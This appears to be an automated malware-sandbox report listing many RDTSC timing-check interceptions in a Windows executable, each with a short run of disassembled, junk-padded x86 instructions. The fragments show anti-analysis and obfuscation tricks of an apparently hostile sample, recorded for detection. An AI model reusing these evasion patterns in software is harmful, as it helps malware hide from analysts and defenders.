Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 100668F second address: 10066FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D6201Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d movsx edi, bx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F0D84D62018h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c mov dword ptr [ebp+124629FFh], edx 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007F0D84D62018h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FFE036 second address: FFE0D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F0D8517B908h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D21A7h], ecx 0x0000002a sub dword ptr [ebp+122D2216h], ecx 0x00000030 or edi, dword ptr [ebp+1244C5CFh] 0x00000036 push dword ptr fs:[00000000h] 0x0000003d mov dword ptr [ebp+122D1933h], edx 0x00000043 mov dword ptr fs:[00000000h], esp 0x0000004a mov edi, edx 0x0000004c mov eax, dword ptr [ebp+122D10D9h] 0x00000052 mov edi, edx 0x00000054 push FFFFFFFFh 0x00000056 push 00000000h 0x00000058 push eax 0x00000059 call 00007F0D8517B908h 0x0000005e pop eax 0x0000005f mov dword ptr [esp+04h], eax 0x00000063 add dword ptr [esp+04h], 00000017h 0x0000006b inc eax 0x0000006c push eax 0x0000006d ret 0x0000006e pop eax 0x0000006f ret 0x00000070 clc 0x00000071 mov edi, dword ptr [ebp+122D1BCFh] 0x00000077 nop 0x00000078 push eax 0x00000079 push edx 0x0000007a jmp 00007F0D8517B915h 0x0000007f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FFE0D5 second address: FFE0DF instructions: 0x00000000 rdtsc 0x00000002 js 00007F0D84D6201Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1002207 second address: 1002218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F0D8517B906h 0x00000011 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10197AA second address: 10197BC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0D84D62016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F0D84D62018h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 102251E second address: 1022528 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0D84D6201Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1022ABA second address: 1022AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F0D8517B90Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1022AC7 second address: 1022AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D84D62027h 0x00000009 popad 0x0000000a pushad 0x0000000b push ecx 0x0000000c jo 00007F0D84D62016h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007F0D84D62016h 0x0000001b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1022C7E second address: 1022CBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B917h 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F0D8517B90Eh 0x0000000f jmp 00007F0D8517B90Dh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1022E1C second address: 1022E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F0D84D62016h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1022E33 second address: 1022E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F0D84D6201Eh 0x0000000c rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1022E47 second address: 1022E5F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F0D8517B90Fh 0x00000008 pop esi 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10235B3 second address: 10235D3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0D8517B918h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1027C26 second address: 1027C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0D84D62018h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1027EE8 second address: 1027EF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D8517B90Bh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1027EF9 second address: 1027F21 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0D84D62016h 0x00000008 jmp 00007F0D84D62029h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1027947 second address: 102795D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0D84D6201Ch 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1028602 second address: 102862B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B90Dh 0x00000007 jmp 00007F0D8517B911h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10312C4 second address: 10312D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d js 00007F0D8517B906h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10312D8 second address: 10312E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F0D84D62016h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FB15C2 second address: FB15D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0D84D62022h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF7830 second address: FF7855 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B919h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F0D8517B906h 0x00000011 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF7859 second address: FF7879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0D8517B916h 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF7879 second address: FD73A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62027h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F0D84D62018h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 add dword ptr [ebp+122D2157h], ebx 0x0000002a mov dword ptr [ebp+122D334Ah], esi 0x00000030 call dword ptr [ebp+122D2629h] 0x00000036 jbe 00007F0D84D6201Ah 0x0000003c push edi 0x0000003d pushad 0x0000003e popad 0x0000003f pop edi 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushad 0x00000044 popad 0x00000045 jnl 00007F0D84D62016h 0x0000004b jmp 00007F0D84D62024h 0x00000050 popad 0x00000051 jmp 00007F0D84D6201Fh 0x00000056 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF7E53 second address: FF7EAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F0D84D62016h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor dword ptr [esp], 39F6BAA1h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F0D84D62018h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000018h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f jmp 00007F0D84D62021h 0x00000034 mov dword ptr [ebp+12458DB4h], esi 0x0000003a push C1549D7Dh 0x0000003f push eax 0x00000040 push edx 0x00000041 push ebx 0x00000042 pushad 0x00000043 popad 0x00000044 pop ebx 0x00000045 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF7F2F second address: FF7F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0D8517B910h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F0D8517B908h 0x00000014 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF8237 second address: FF8241 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0D8517B906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF837A second address: FF83BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jmp 00007F0D8517B90Dh 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F0D8517B908h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push 00000004h 0x00000029 mov dword ptr [ebp+122D2157h], ebx 0x0000002f nop 0x00000030 pushad 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF89DD second address: FF89E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F0D8517B906h 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF89E7 second address: FF8A24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop esi 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push ebx 0x00000016 jmp 00007F0D84D62023h 0x0000001b pop ebx 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F0D84D6201Fh 0x00000025 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF8AC7 second address: FF8B11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B918h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push ebx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop ebx 0x0000000f pop ecx 0x00000010 nop 0x00000011 xor edi, 5741E799h 0x00000017 lea eax, dword ptr [ebp+12489605h] 0x0000001d pushad 0x0000001e mov ecx, dword ptr [ebp+122D3A9Bh] 0x00000024 mov ebx, eax 0x00000026 popad 0x00000027 mov edi, dword ptr [ebp+122D1C27h] 0x0000002d nop 0x0000002e push ecx 0x0000002f js 00007F0D8517B90Ch 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10304E3 second address: 103050A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F0D8517B906h 0x00000009 ja 00007F0D8517B906h 0x0000000f pushad 0x00000010 popad 0x00000011 jl 00007F0D8517B906h 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007F0D8517B90Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1030CD9 second address: 1030CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0D8517B90Dh 0x0000000c rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1039964 second address: 1039980 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D6201Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a ja 00007F0D84D62016h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 103832E second address: 1038350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jbe 00007F0D84D62016h 0x00000010 pop esi 0x00000011 jnc 00007F0D84D62021h 0x00000017 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10387B7 second address: 10387C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F0D8517B906h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10387C8 second address: 10387DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D8517B90Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038C81 second address: 1038C90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 je 00007F0D8517B906h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038C90 second address: 1038C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F0D84D62016h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038F68 second address: 1038F82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B916h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1038F92 second address: 1038FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F0D84D6201Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10397D9 second address: 10397EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0D84D62016h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F0D84D62016h 0x00000015 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 103FF9A second address: 103FFB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jp 00007F0D84D6202Ah 0x0000000b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1042B99 second address: 1042BC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62028h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F0D84D6202Ch 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 104CA6A second address: 104CACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jmp 00007F0D84D62021h 0x0000000b jng 00007F0D84D62016h 0x00000011 pop eax 0x00000012 je 00007F0D84D62022h 0x00000018 popad 0x00000019 pushad 0x0000001a jno 00007F0D84D62018h 0x00000020 pushad 0x00000021 jmp 00007F0D84D62022h 0x00000026 jmp 00007F0D84D6201Ch 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e jl 00007F0D84D62016h 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 104D2DF second address: 104D30C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0D8517B916h 0x0000000d jmp 00007F0D8517B90Fh 0x00000012 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10506DE second address: 1050714 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0D8517B908h 0x00000008 jmp 00007F0D8517B90Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F0D8517B916h 0x00000019 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1050131 second address: 105014C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0D84D62016h 0x0000000a pushad 0x0000000b popad 0x0000000c jng 00007F0D84D62016h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jns 00007F0D84D62016h 0x0000001b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1050156 second address: 1050160 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0D8517B912h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1057CEF second address: 1057CFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F0D8517B90Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1058276 second address: 105828A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F0D84D6201Eh 0x0000000c rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 105828A second address: 10582BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B90Dh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F0D8517B914h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10582C1 second address: 10582D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0D8517B90Ah 0x0000000c jnl 00007F0D8517B906h 0x00000012 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10582D8 second address: 10582FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62029h 0x00000007 jc 00007F0D84D62016h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1058894 second address: 10588C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F0D84D62036h 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10588C2 second address: 10588CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F0D8517B906h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1059127 second address: 1059142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D84D62027h 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1059146 second address: 105917C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jne 00007F0D84D62016h 0x00000011 push eax 0x00000012 pop eax 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 jbe 00007F0D84D62018h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F0D84D62024h 0x00000025 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 105DD83 second address: 105DD8D instructions: 0x00000000 rdtsc 0x00000002 js 00007F0D84D62016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 105DD8D second address: 105DD97 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0D8517B90Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1061B4E second address: 1061B5F instructions: 0x00000000 rdtsc 0x00000002 js 00007F0D84D62016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1060DF3 second address: 1060E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F0D84D62027h 0x0000000b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1060FB8 second address: 1060FD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F0D8517B906h 0x0000000a jmp 00007F0D8517B911h 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 106116B second address: 10611A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F0D8517B912h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0D8517B916h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10611A4 second address: 10611AE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0D8517B906h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10615E4 second address: 1061600 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62026h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1061606 second address: 1061625 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F0D84D62016h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1068908 second address: 1068920 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0D8517B912h 0x0000000b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 4F602E0 second address: 4F602E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 4F602E4 second address: 4F602EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
